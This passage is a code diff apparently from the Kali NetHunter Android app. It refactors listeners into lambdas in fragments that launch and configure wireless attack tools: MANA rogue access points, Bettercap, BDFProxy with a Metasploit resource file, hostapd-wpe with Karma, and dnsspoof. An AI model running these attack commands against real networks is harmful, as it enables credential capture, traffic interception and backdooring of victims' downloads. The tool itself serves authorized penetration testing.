intentClickListener_NH(nh.makeTermTitle("MANA-BDF") + "/usr/share/mana-toolkit/run-mana/start-nat-simple-bdf-lollipop.sh"); - } else { - intentClickListener_NH(nh.makeTermTitle("MANA-BDF") + "/usr/share/mana-toolkit/run-mana/start-nat-simple-bdf-kitkat.sh"); - } - // we wait ~10 secs before launching msf - new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - nh.showMessage("Starting MSF with BDF resource.rc"); - intentClickListener_NH(nh.makeTermTitle("MSF") + "msfconsole -q -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc"); - } - }, 10000); - break; - case 4: - nh.showMessage("Starting HOSTAPD-WPE"); - intentClickListener_NH(nh.makeTermTitle("HOSTAPD-WPE") + "ifconfig wlan1 up && /usr/bin/hostapd-wpe /sdcard/nh_files/configs/hostapd-wpe.conf"); - break; - case 5: - nh.showMessage("Starting HOSTAPD-WPE with Karma"); - intentClickListener_NH(nh.makeTermTitle("HOSTAPD-WPE-KARMA") + "ifconfig wlan1 up && /usr/bin/hostapd-wpe -k /sdcard/nh_files/configs/hostapd-wpe.conf"); - break; - default: - nh.showMessage("Invalid script!"); - return; - } - nh.showMessage("Attack Launched!"); - } - }); - builder.setNegativeButton("Quit", new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { + builder.setPositiveButton("Start", (dialog, which) -> { + switch (selectedScriptIndex) { + // launching mana on the terminal so it doesnt die suddenly + case 0: + nh.showMessage("Starting MANA NAT FULL"); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + intentClickListener_NH(nh.makeTermTitle("MANA-FULL") + "/usr/share/mana-toolkit/run-mana/start-nat-full-lollipop.sh"); + } else { + intentClickListener_NH(nh.makeTermTitle("MANA-FULL") + "/usr/share/mana-toolkit/run-mana/start-nat-full-kitkat.sh"); + } + break; + case 1: + nh.showMessage("Starting MANA NAT SIMPLE"); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + intentClickListener_NH(nh.makeTermTitle("MANA-SIMPLE") + "/usr/share/mana-toolkit/run-mana/start-nat-simple-lollipop.sh"); + } else { + intentClickListener_NH(nh.makeTermTitle("MANA-SIMPLE") + "/usr/share/mana-toolkit/run-mana/start-nat-simple-kitkat.sh"); + } + break; + case 2: + nh.showMessage("Starting MANA Bettercap"); + intentClickListener_NH(nh.makeTermTitle("MANA-BETTERCAP") + "/usr/bin/start-nat-transproxy-lollipop.sh"); + break; + case 3: + nh.showMessage("Starting MANA NAT SIMPLE && BDF"); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + intentClickListener_NH(nh.makeTermTitle("MANA-BDF") + "/usr/share/mana-toolkit/run-mana/start-nat-simple-bdf-lollipop.sh"); + } else { + intentClickListener_NH(nh.makeTermTitle("MANA-BDF") + "/usr/share/mana-toolkit/run-mana/start-nat-simple-bdf-kitkat.sh"); + } + // we wait ~10 secs before launching msf + new android.os.Handler().postDelayed( + new Runnable() { + public void run() { + nh.showMessage("Starting MSF with BDF resource.rc"); + intentClickListener_NH(nh.makeTermTitle("MSF") + "msfconsole -q -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc"); + } + }, 10000); + break; + case 4: + nh.showMessage("Starting HOSTAPD-WPE"); + intentClickListener_NH(nh.makeTermTitle("HOSTAPD-WPE") + "ifconfig wlan1 up && /usr/bin/hostapd-wpe /sdcard/nh_files/configs/hostapd-wpe.conf"); + break; + case 5: + nh.showMessage("Starting HOSTAPD-WPE with Karma"); + intentClickListener_NH(nh.makeTermTitle("HOSTAPD-WPE-KARMA") + "ifconfig wlan1 up && /usr/bin/hostapd-wpe -k /sdcard/nh_files/configs/hostapd-wpe.conf"); + break; + default: + nh.showMessage("Invalid script!"); + return; } + nh.showMessage(getString(R.string.attack_launched)); }); - builder.setSingleChoiceItems(scripts, selectedScriptIndex, new DialogInterface.OnClickListener() { - - @Override - public void onClick(DialogInterface dialog, int which) { - selectedScriptIndex = which; - } + builder.setNegativeButton("Quit", (dialog, which) -> { }); + builder.setSingleChoiceItems(scripts, selectedScriptIndex, (dialog, which) -> selectedScriptIndex = which); builder.show(); } @@ -281,42 +269,39 @@ public static class HostapdFragment extends Fragment { public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.mana_hostapd, container, false); - Button button = (Button) rootView.findViewById(R.id.updateButton); + Button button = rootView.findViewById(R.id.updateButton); loadOptions(rootView); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - ShellExecuter exe = new ShellExecuter(); - File file = new File(configFilePath); - String source = null; - try { - source = Files.toString(file, Charsets.UTF_8); - } catch (IOException e) { - e.printStackTrace(); - } - if (getView() == null) { - return; - } - EditText ifc = (EditText) getView().findViewById(R.id.ifc); - EditText bssid = (EditText) getView().findViewById(R.id.bssid); - EditText ssid = (EditText) getView().findViewById(R.id.ssid); - EditText channel = (EditText) getView().findViewById(R.id.channel); - EditText enableKarma = (EditText) getView().findViewById(R.id.enable_karma); - EditText karmaLoud = (EditText) getView().findViewById(R.id.karma_loud); - // FIXED BY BINKYBEAR <3 - if (source != null) { - source = source.replaceAll("(?m)^interface=(.*)$", "interface=" + ifc.getText().toString()); - source = source.replaceAll("(?m)^bssid=(.*)$", "bssid=" + bssid.getText().toString()); - source = source.replaceAll("(?m)^ssid=(.*)$", "ssid=" + ssid.getText().toString()); - source = source.replaceAll("(?m)^channel=(.*)$", "channel=" + channel.getText().toString()); - source = source.replaceAll("(?m)^enable_mana=(.*)$", "enable_mana=" + enableKarma.getText().toString()); - source = source.replaceAll("(?m)^mana_loud=(.*)$", "mana_loud=" + karmaLoud.getText().toString()); - - exe.SaveFileContents(source, configFilePath); - nh.showMessage("Source updated"); - } - + button.setOnClickListener(v -> { + ShellExecuter exe = new ShellExecuter(); + File file = new File(configFilePath); + String source = null; + try { + source = Files.toString(file, Charsets.UTF_8); + } catch (IOException e) { + e.printStackTrace(); + } + if (getView() == null) { + return; } + EditText ifc = getView().findViewById(R.id.ifc); + EditText bssid = getView().findViewById(R.id.bssid); + EditText ssid = getView().findViewById(R.id.ssid); + EditText channel = getView().findViewById(R.id.channel); + EditText enableKarma = getView().findViewById(R.id.enable_karma); + EditText karmaLoud = getView().findViewById(R.id.karma_loud); + // FIXED BY BINKYBEAR <3 + if (source != null) { + source = source.replaceAll("(?m)^interface=(.*)$", "interface=" + ifc.getText().toString()); + source = source.replaceAll("(?m)^bssid=(.*)$", "bssid=" + bssid.getText().toString()); + source = source.replaceAll("(?m)^ssid=(.*)$", "ssid=" + ssid.getText().toString()); + source = source.replaceAll("(?m)^channel=(.*)$", "channel=" + channel.getText().toString()); + source = source.replaceAll("(?m)^enable_mana=(.*)$", "enable_mana=" + enableKarma.getText().toString()); + source = source.replaceAll("(?m)^mana_loud=(.*)$", "mana_loud=" + karmaLoud.getText().toString()); + + exe.SaveFileContents(source, configFilePath); + nh.showMessage("Source updated"); + } + }); return rootView; } @@ -325,90 +310,88 @@ public void onClick(View v) { public void loadOptions(View rootView) { - final EditText ifc = (EditText) rootView.findViewById(R.id.ifc); - final EditText bssid = (EditText) rootView.findViewById(R.id.bssid); - final EditText ssid = (EditText) rootView.findViewById(R.id.ssid); - final EditText channel = (EditText) rootView.findViewById(R.id.channel); - final EditText enableKarma = (EditText) rootView.findViewById(R.id.enable_karma); - final EditText karmaLoud = (EditText) rootView.findViewById(R.id.karma_loud); - - new Thread(new Runnable() { - public void run() { - ShellExecuter exe = new ShellExecuter(); - String text = exe.ReadFile_SYNC(configFilePath); - - String regExpatInterface = "^interface=(.*)$"; - Pattern patternIfc = Pattern.compile(regExpatInterface, Pattern.MULTILINE); - final Matcher matcherIfc = patternIfc.matcher(text); - - String regExpatbssid = "^bssid=(.*)$"; - Pattern patternBssid = Pattern.compile(regExpatbssid, Pattern.MULTILINE); - final Matcher matcherBssid = patternBssid.matcher(text); - - String regExpatssid = "^ssid=(.*)$"; - Pattern patternSsid = Pattern.compile(regExpatssid, Pattern.MULTILINE); - final Matcher matcherSsid = patternSsid.matcher(text); - - String regExpatChannel = "^channel=(.*)$"; - Pattern patternChannel = Pattern.compile(regExpatChannel, Pattern.MULTILINE); - final Matcher matcherChannel = patternChannel.matcher(text); - - String regExpatEnableKarma = "^enable_mana=(.*)$"; - Pattern patternEnableKarma = Pattern.compile(regExpatEnableKarma, Pattern.MULTILINE); - final Matcher matcherEnableKarma = patternEnableKarma.matcher(text); - - String regExpatKarmaLoud = "^mana_loud=(.*)$"; - Pattern patternKarmaLoud = Pattern.compile(regExpatKarmaLoud, Pattern.MULTILINE); - final Matcher matcherKarmaLoud = patternKarmaLoud.matcher(text); - - ifc.post(new Runnable() { - @Override - public void run() { - /* - * Interface - */ - if (matcherIfc.find()) { - String ifcValue = matcherIfc.group(1); - ifc.setText(ifcValue); - } - /* - * bssid - */ - if (matcherBssid.find()) { - String bssidVal = matcherBssid.group(1); - bssid.setText(bssidVal); - } - /* - * ssid - */ - if (matcherSsid.find()) { - String ssidVal = matcherSsid.group(1); - ssid.setText(ssidVal); - } - /* - * channel - */ - if (matcherChannel.find()) { - String channelVal = matcherChannel.group(1); - channel.setText(channelVal); - } - /* - * enable_mana - */ - if (matcherEnableKarma.find()) { - String enableKarmaVal = matcherEnableKarma.group(1); - enableKarma.setText(enableKarmaVal); - } - /* - * mana_loud - */ - if (matcherKarmaLoud.find()) { - String karmaLoudVal = matcherKarmaLoud.group(1); - karmaLoud.setText(karmaLoudVal); - } + final EditText ifc = rootView.findViewById(R.id.ifc); + final EditText bssid = rootView.findViewById(R.id.bssid); + final EditText ssid = rootView.findViewById(R.id.ssid); + final EditText channel = rootView.findViewById(R.id.channel); + final EditText enableKarma = rootView.findViewById(R.id.enable_karma); + final EditText karmaLoud = rootView.findViewById(R.id.karma_loud); + + new Thread(() -> { + ShellExecuter exe = new ShellExecuter(); + String text = exe.ReadFile_SYNC(configFilePath); + + String regExpatInterface = "^interface=(.*)$"; + Pattern patternIfc = Pattern.compile(regExpatInterface, Pattern.MULTILINE); + final Matcher matcherIfc = patternIfc.matcher(text); + + String regExpatbssid = "^bssid=(.*)$"; + Pattern patternBssid = Pattern.compile(regExpatbssid, Pattern.MULTILINE); + final Matcher matcherBssid = patternBssid.matcher(text); + + String regExpatssid = "^ssid=(.*)$"; + Pattern patternSsid = Pattern.compile(regExpatssid, Pattern.MULTILINE); + final Matcher matcherSsid = patternSsid.matcher(text); + + String regExpatChannel = "^channel=(.*)$"; + Pattern patternChannel = Pattern.compile(regExpatChannel, Pattern.MULTILINE); + final Matcher matcherChannel = patternChannel.matcher(text); + + String regExpatEnableKarma = "^enable_mana=(.*)$"; + Pattern patternEnableKarma = Pattern.compile(regExpatEnableKarma, Pattern.MULTILINE); + final Matcher matcherEnableKarma = patternEnableKarma.matcher(text); + + String regExpatKarmaLoud = "^mana_loud=(.*)$"; + Pattern patternKarmaLoud = Pattern.compile(regExpatKarmaLoud, Pattern.MULTILINE); + final Matcher matcherKarmaLoud = patternKarmaLoud.matcher(text); + + ifc.post(new Runnable() { + @Override + public void run() { + /* + * Interface + */ + if (matcherIfc.find()) { + String ifcValue = matcherIfc.group(1); + ifc.setText(ifcValue); } - }); - } + /* + * bssid + */ + if (matcherBssid.find()) { + String bssidVal = matcherBssid.group(1); + bssid.setText(bssidVal); + } + /* + * ssid + */ + if (matcherSsid.find()) { + String ssidVal = matcherSsid.group(1); + ssid.setText(ssidVal); + } + /* + * channel + */ + if (matcherChannel.find()) { + String channelVal = matcherChannel.group(1); + channel.setText(channelVal); + } + /* + * enable_mana + */ + if (matcherEnableKarma.find()) { + String enableKarmaVal = matcherEnableKarma.group(1); + enableKarma.setText(enableKarmaVal); + } + /* + * mana_loud + */ + if (matcherKarmaLoud.find()) { + String karmaLoudVal = matcherKarmaLoud.group(1); + karmaLoud.setText(karmaLoudVal); + } + } + }); }).start(); } @@ -423,52 +406,47 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.mana_hostapd_wpe, container, false); - Button button = (Button) rootView.findViewById(R.id.wpe_updateButton); - Button gencerts = (Button) rootView.findViewById(R.id.wpe_generate_certs); + Button button = rootView.findViewById(R.id.wpe_updateButton); + Button gencerts = rootView.findViewById(R.id.wpe_generate_certs); loadOptions(rootView); - gencerts.setOnClickListener(new View.OnClickListener() { - public void onClick(View v) { - Intent intent = - new Intent("com.offsec.nhterm.RUN_SCRIPT_NH"); - intent.addCategory(Intent.CATEGORY_DEFAULT); - intent.putExtra("com.offsec.nhterm.iInitialCommand", "cd /usr/share/hostapd-wpe/certs && ./bootstrap"); - startActivity(intent); - } + gencerts.setOnClickListener(v -> { + Intent intent = + new Intent("com.offsec.nhterm.RUN_SCRIPT_NH"); + intent.addCategory(Intent.CATEGORY_DEFAULT); + intent.putExtra("com.offsec.nhterm.iInitialCommand", "cd /usr/share/hostapd-wpe/certs && ./bootstrap"); + startActivity(intent); }); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - ShellExecuter exe = new ShellExecuter(); - File file = new File(configFilePath); - String source = null; - try { - source = Files.toString(file, Charsets.UTF_8); - } catch (IOException e) { - e.printStackTrace(); - } - if (getView() == null) { - return; - } - EditText ifc = (EditText) getView().findViewById(R.id.wpe_ifc); - EditText bssid = (EditText) getView().findViewById(R.id.wpe_bssid); - EditText ssid = (EditText) getView().findViewById(R.id.wpe_ssid); - EditText channel = (EditText) getView().findViewById(R.id.wpe_channel); - EditText privatekey = (EditText) getView().findViewById(R.id.wpe_private_key); - - if (source != null) { - source = source.replaceAll("(?m)^interface=(.*)$", "interface=" + ifc.getText().toString()); - source = source.replaceAll("(?m)^bssid=(.*)$", "bssid=" + bssid.getText().toString()); - source = source.replaceAll("(?m)^ssid=(.*)$", "ssid=" + ssid.getText().toString()); - source = source.replaceAll("(?m)^channel=(.*)$", "channel=" + channel.getText().toString()); - source = source.replaceAll("(?m)^private_key_passwd=(.*)$", "private_key_passwd=" + privatekey.getText().toString()); - - exe.SaveFileContents(source, configFilePath); - nh.showMessage("Source updated"); - } - + button.setOnClickListener(v -> { + ShellExecuter exe = new ShellExecuter(); + File file = new File(configFilePath); + String source = null; + try { + source = Files.toString(file, Charsets.UTF_8); + } catch (IOException e) { + e.printStackTrace(); } + if (getView() == null) { + return; + } + EditText ifc = getView().findViewById(R.id.wpe_ifc); + EditText bssid = getView().findViewById(R.id.wpe_bssid); + EditText ssid = getView().findViewById(R.id.wpe_ssid); + EditText channel = getView().findViewById(R.id.wpe_channel); + EditText privatekey = getView().findViewById(R.id.wpe_private_key); + + if (source != null) { + source = source.replaceAll("(?m)^interface=(.*)$", "interface=" + ifc.getText().toString()); + source = source.replaceAll("(?m)^bssid=(.*)$", "bssid=" + bssid.getText().toString()); + source = source.replaceAll("(?m)^ssid=(.*)$", "ssid=" + ssid.getText().toString()); + source = source.replaceAll("(?m)^channel=(.*)$", "channel=" + channel.getText().toString()); + source = source.replaceAll("(?m)^private_key_passwd=(.*)$", "private_key_passwd=" + privatekey.getText().toString()); + + exe.SaveFileContents(source, configFilePath); + nh.showMessage("Source updated"); + } + }); return rootView; } @@ -476,79 +454,77 @@ public void onClick(View v) { public void loadOptions(View rootView) { - final EditText ifc = (EditText) rootView.findViewById(R.id.wpe_ifc); - final EditText bssid = (EditText) rootView.findViewById(R.id.wpe_bssid); - final EditText ssid = (EditText) rootView.findViewById(R.id.wpe_ssid); - final EditText channel = (EditText) rootView.findViewById(R.id.wpe_channel); - final EditText privatekey = (EditText) rootView.findViewById(R.id.wpe_private_key); - - new Thread(new Runnable() { - public void run() { - ShellExecuter exe = new ShellExecuter(); - Log.d("exe: ", configFilePath); - String text = exe.ReadFile_SYNC(configFilePath); - - String regExpatInterface = "^interface=(.*)$"; - Pattern patternIfc = Pattern.compile(regExpatInterface, Pattern.MULTILINE); - final Matcher matcherIfc = patternIfc.matcher(text); - - String regExpatbssid = "^bssid=(.*)$"; - Pattern patternBssid = Pattern.compile(regExpatbssid, Pattern.MULTILINE); - final Matcher matcherBssid = patternBssid.matcher(text); - - String regExpatssid = "^ssid=(.*)$"; - Pattern patternSsid = Pattern.compile(regExpatssid, Pattern.MULTILINE); - final Matcher matcherSsid = patternSsid.matcher(text); - - String regExpatChannel = "^channel=(.*)$"; - Pattern patternChannel = Pattern.compile(regExpatChannel, Pattern.MULTILINE); - final Matcher matcherChannel = patternChannel.matcher(text); - - String regExpatEnablePrivateKey = "^private_key_passwd=(.*)$"; - Pattern patternEnablePrivateKey = Pattern.compile(regExpatEnablePrivateKey, Pattern.MULTILINE); - final Matcher matcherPrivateKey = patternEnablePrivateKey.matcher(text); - - ifc.post(new Runnable() { - @Override - public void run() { - /* - * Interface - */ - if (matcherIfc.find()) { - String ifcValue = matcherIfc.group(1); - ifc.setText(ifcValue); - } - /* - * bssid - */ - if (matcherBssid.find()) { - String bssidVal = matcherBssid.group(1); - bssid.setText(bssidVal); - } - /* - * ssid - */ - if (matcherSsid.find()) { - String ssidVal = matcherSsid.group(1); - ssid.setText(ssidVal); - } - /* - * channel - */ - if (matcherChannel.find()) { - String channelVal = matcherChannel.group(1); - channel.setText(channelVal); - } - /* - * Private Key File - */ - if (matcherPrivateKey.find()) { - String PrivateKeyVal = matcherPrivateKey.group(1); - privatekey.setText(PrivateKeyVal); - } + final EditText ifc = rootView.findViewById(R.id.wpe_ifc); + final EditText bssid = rootView.findViewById(R.id.wpe_bssid); + final EditText ssid = rootView.findViewById(R.id.wpe_ssid); + final EditText channel = rootView.findViewById(R.id.wpe_channel); + final EditText privatekey = rootView.findViewById(R.id.wpe_private_key); + + new Thread(() -> { + ShellExecuter exe = new ShellExecuter(); + Log.d("exe: ", configFilePath); + String text = exe.ReadFile_SYNC(configFilePath); + + String regExpatInterface = "^interface=(.*)$"; + Pattern patternIfc = Pattern.compile(regExpatInterface, Pattern.MULTILINE); + final Matcher matcherIfc = patternIfc.matcher(text); + + String regExpatbssid = "^bssid=(.*)$"; + Pattern patternBssid = Pattern.compile(regExpatbssid, Pattern.MULTILINE); + final Matcher matcherBssid = patternBssid.matcher(text); + + String regExpatssid = "^ssid=(.*)$"; + Pattern patternSsid = Pattern.compile(regExpatssid, Pattern.MULTILINE); + final Matcher matcherSsid = patternSsid.matcher(text); + + String regExpatChannel = "^channel=(.*)$"; + Pattern patternChannel = Pattern.compile(regExpatChannel, Pattern.MULTILINE); + final Matcher matcherChannel = patternChannel.matcher(text); + + String regExpatEnablePrivateKey = "^private_key_passwd=(.*)$"; + Pattern patternEnablePrivateKey = Pattern.compile(regExpatEnablePrivateKey, Pattern.MULTILINE); + final Matcher matcherPrivateKey = patternEnablePrivateKey.matcher(text); + + ifc.post(new Runnable() { + @Override + public void run() { + /* + * Interface + */ + if (matcherIfc.find()) { + String ifcValue = matcherIfc.group(1); + ifc.setText(ifcValue); } - }); - } + /* + * bssid + */ + if (matcherBssid.find()) { + String bssidVal = matcherBssid.group(1); + bssid.setText(bssidVal); + } + /* + * ssid + */ + if (matcherSsid.find()) { + String ssidVal = matcherSsid.group(1); + ssid.setText(ssidVal); + } + /* + * channel + */ + if (matcherChannel.find()) { + String channelVal = matcherChannel.group(1); + channel.setText(channelVal); + } + /* + * Private Key File + */ + if (matcherPrivateKey.find()) { + String PrivateKeyVal = matcherPrivateKey.group(1); + privatekey.setText(PrivateKeyVal); + } + } + }); }).start(); } @@ -565,23 +541,20 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, final View rootView = inflater.inflate(R.layout.source_short, container, false); String description = getResources().getString(R.string.mana_dhcpd); - TextView desc = (TextView) rootView.findViewById(R.id.description); + TextView desc = rootView.findViewById(R.id.description); desc.setText(description); - EditText source = (EditText) rootView.findViewById(R.id.source); + EditText source = rootView.findViewById(R.id.source); exe.ReadFile_ASYNC(configFilePath, source); - Button button = (Button) rootView.findViewById(R.id.update); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - EditText source = (EditText) rootView.findViewById(R.id.source); - Boolean isSaved = exe.SaveFileContents(source.getText().toString(), configFilePath); - if (isSaved) { - nh.showMessage("Source updated"); - } else { - nh.showMessage("Source not updated"); - } + Button button = rootView.findViewById(R.id.update); + button.setOnClickListener(v -> { + EditText source1 = rootView.findViewById(R.id.source); + Boolean isSaved = exe.SaveFileContents(source1.getText().toString(), configFilePath); + if (isSaved) { + nh.showMessage("Source updated"); + } else { + nh.showMessage("Source not updated"); } }); return rootView; @@ -599,26 +572,23 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, View rootView = inflater.inflate(R.layout.source_short, container, false); String description = getResources().getString(R.string.mana_dnsspoof); - TextView desc = (TextView) rootView.findViewById(R.id.description); + TextView desc = rootView.findViewById(R.id.description); desc.setText(description); configFilePath = nh.CHROOT_PATH + "/etc/mana-toolkit/dnsspoof.conf"; - EditText source = (EditText) rootView.findViewById(R.id.source); + EditText source = rootView.findViewById(R.id.source); exe.ReadFile_ASYNC(configFilePath, source); - Button button = (Button) rootView.findViewById(R.id.update); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - if (getView() == null) { - return; - } - EditText source = (EditText) getView().findViewById(R.id.source); - String newSource = source.getText().toString(); - exe.SaveFileContents(newSource, configFilePath); - nh.showMessage("Source updated"); + Button button = rootView.findViewById(R.id.update); + button.setOnClickListener(v -> { + if (getView() == null) { + return; } + EditText source1 = getView().findViewById(R.id.source); + String newSource = source1.getText().toString(); + exe.SaveFileContents(newSource, configFilePath); + nh.showMessage("Source updated"); }); return rootView; } @@ -632,7 +602,7 @@ public static class ManaNatFullFragment extends Fragment { public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.source_short, container, false); - TextView desc = (TextView) rootView.findViewById(R.id.description); + TextView desc = rootView.findViewById(R.id.description); desc.setText(getResources().getString(R.string.mana_nat_full)); @@ -643,22 +613,19 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, } - EditText source = (EditText) rootView.findViewById(R.id.source); + EditText source = rootView.findViewById(R.id.source); ShellExecuter exe = new ShellExecuter(); exe.ReadFile_ASYNC(configFilePath, source); - Button button = (Button) rootView.findViewById(R.id.update); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - if (getView() == null) { - return; - } - EditText source = (EditText) getView().findViewById(R.id.source); - String newSource = source.getText().toString(); - ShellExecuter exe = new ShellExecuter(); - exe.SaveFileContents(newSource, configFilePath); - nh.showMessage("Source updated"); + Button button = rootView.findViewById(R.id.update); + button.setOnClickListener(v -> { + if (getView() == null) { + return; } + EditText source1 = getView().findViewById(R.id.source); + String newSource = source1.getText().toString(); + ShellExecuter exe1 = new ShellExecuter(); + exe1.SaveFileContents(newSource, configFilePath); + nh.showMessage("Source updated"); }); return rootView; } @@ -679,27 +646,24 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, } String description = getResources().getString(R.string.mana_nat_simple); - TextView desc = (TextView) rootView.findViewById(R.id.description); + TextView desc = rootView.findViewById(R.id.description); desc.setText(description); - EditText source = (EditText) rootView.findViewById(R.id.source); + EditText source = rootView.findViewById(R.id.source); ShellExecuter exe = new ShellExecuter(); exe.ReadFile_ASYNC(configFilePath, source); - Button button = (Button) rootView.findViewById(R.id.update); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - if (getView() == null) { - return; - } - EditText source = (EditText) getView().findViewById(R.id.source); - String newSource = source.getText().toString(); - ShellExecuter exe = new ShellExecuter(); - exe.SaveFileContents(newSource, configFilePath); - nh.showMessage("Source updated"); + Button button = rootView.findViewById(R.id.update); + button.setOnClickListener(v -> { + if (getView() == null) { + return; } + EditText source1 = getView().findViewById(R.id.source); + String newSource = source1.getText().toString(); + ShellExecuter exe1 = new ShellExecuter(); + exe1.SaveFileContents(newSource, configFilePath); + nh.showMessage("Source updated"); }); return rootView; } @@ -717,26 +681,23 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, configFilePath = nh.CHROOT_PATH + "/usr/bin/start-nat-transproxy-lollipop.sh"; String description = getResources().getString(R.string.mana_bettercap_description); - TextView desc = (TextView) rootView.findViewById(R.id.description); + TextView desc = rootView.findViewById(R.id.description); desc.setText(description); - EditText source = (EditText) rootView.findViewById(R.id.source); + EditText source = rootView.findViewById(R.id.source); ShellExecuter exe = new ShellExecuter(); exe.ReadFile_ASYNC(configFilePath, source); - Button button = (Button) rootView.findViewById(R.id.update); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - if (getView() == null) { - return; - } - EditText source = (EditText) getView().findViewById(R.id.source); - String newSource = source.getText().toString(); - ShellExecuter exe = new ShellExecuter(); - exe.SaveFileContents(newSource, configFilePath); - nh.showMessage("Source updated"); + Button button = rootView.findViewById(R.id.update); + button.setOnClickListener(v -> { + if (getView() == null) { + return; } + EditText source1 = getView().findViewById(R.id.source); + String newSource = source1.getText().toString(); + ShellExecuter exe1 = new ShellExecuter(); + exe1.SaveFileContents(newSource, configFilePath); + nh.showMessage("Source updated"); }); return rootView; } @@ -752,28 +713,25 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, View rootView = inflater.inflate(R.layout.source_short, container, false); String description = getResources().getString(R.string.bdfproxy_cfg); - TextView desc = (TextView) rootView.findViewById(R.id.description); + TextView desc = rootView.findViewById(R.id.description); desc.setText(description); // use the good one? configFilePath = nh.APP_SD_FILES_PATH + "/configs/bdfproxy.cfg"; Log.d("BDFPATH", configFilePath); - EditText source = (EditText) rootView.findViewById(R.id.source); + EditText source = rootView.findViewById(R.id.source); ShellExecuter exe = new ShellExecuter(); exe.ReadFile_ASYNC(configFilePath, source); - Button button = (Button) rootView.findViewById(R.id.update); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - if (getView() == null) { - return; - } - EditText source = (EditText) getView().findViewById(R.id.source); - String newSource = source.getText().toString(); - ShellExecuter exe = new ShellExecuter(); - exe.SaveFileContents(newSource, configFilePath); - nh.showMessage("Source updated"); + Button button = rootView.findViewById(R.id.update); + button.setOnClickListener(v -> { + if (getView() == null) { + return; } + EditText source1 = getView().findViewById(R.id.source); + String newSource = source1.getText().toString(); + ShellExecuter exe1 = new ShellExecuter(); + exe1.SaveFileContents(newSource, configFilePath); + nh.showMessage("Source updated"); }); return rootView; } @@ -800,24 +758,21 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, View rootView = inflater.inflate(R.layout.source_short, container, false); String description = getResources().getString(R.string.mana_nat_simple_bdf); - TextView desc = (TextView) rootView.findViewById(R.id.description); + TextView desc = rootView.findViewById(R.id.description); desc.setText(description); - EditText source = (EditText) rootView.findViewById(R.id.source); + EditText source = rootView.findViewById(R.id.source); ShellExecuter exe = new ShellExecuter(); exe.ReadFile_ASYNC(configFilePath, source); - Button button = (Button) rootView.findViewById(R.id.update); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - if (getView() == null) { - return; - } - EditText source = (EditText) getView().findViewById(R.id.source); - String newSource = source.getText().toString(); - ShellExecuter exe = new ShellExecuter(); - exe.SaveFileContents(newSource, configFilePath); - nh.showMessage("Source updated"); + Button button = rootView.findViewById(R.id.update); + button.setOnClickListener(v -> { + if (getView() == null) { + return; } + EditText source1 = getView().findViewById(R.id.source); + String newSource = source1.getText().toString(); + ShellExecuter exe1 = new ShellExecuter(); + exe1.SaveFileContents(newSource, configFilePath); + nh.showMessage("Source updated"); }); return rootView; } diff --git a/src/com/offsec/nethunter/NetHunterFragment.java b/src/com/offsec/nethunter/NetHunterFragment.java index dbfff04..bd934a5 100644 --- a/src/com/offsec/nethunter/NetHunterFragment.java +++ b/src/com/offsec/nethunter/NetHunterFragment.java @@ -4,19 +4,16 @@ import android.content.pm.PackageManager; import android.os.Bundle; import android.os.StrictMode; -import androidx.fragment.app.Fragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.ArrayAdapter; -import android.widget.CompoundButton; import android.widget.ListView; import android.widget.Switch; import android.widget.TextView; import android.widget.Toast; -import android.widget.ToggleButton; import com.offsec.nethunter.utils.NhPaths; import com.offsec.nethunter.utils.ShellExecuter; @@ -29,6 +26,8 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; +import androidx.fragment.app.Fragment; + public class NetHunterFragment extends Fragment { /** @@ -64,29 +63,21 @@ public static NetHunterFragment newInstance(int sectionNumber) { public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.nethunter, container, false); - TextView ip = (TextView) rootView.findViewById(R.id.editText2); + TextView ip = rootView.findViewById(R.id.editText2); ip.setFocusable(false); - addClickListener(new View.OnClickListener() { - public void onClick(View v) { - getExternalIp(); - } - }, rootView); + addClickListener(v -> getExternalIp(), rootView); getInterfaces(rootView); // HID Switch for newer kernels to turn on HID - HIDSwitch = (Switch) rootView.findViewById(R.id.hidSWITCH); - HIDSwitch.setOnClickListener(new View.OnClickListener() { - - @Override - public void onClick(View v) { + HIDSwitch = rootView.findViewById(R.id.hidSWITCH); + HIDSwitch.setOnClickListener(v -> { - if(HIDSwitch.isChecked()) - { - setHIDON(); - } - else { - setHIDOff(); - } + if(HIDSwitch.isChecked()) + { + setHIDON(); + } + else { + setHIDOff(); } }); @@ -99,7 +90,7 @@ private void addClickListener(View.OnClickListener onClickListener, View rootVie private void getExternalIp() { - final TextView ip = (TextView) getActivity().findViewById(R.id.editText2); + final TextView ip = getActivity().findViewById(R.id.editText2); ip.setText("Please wait..."); new Thread(new Runnable() { @@ -126,11 +117,7 @@ public void run() { } 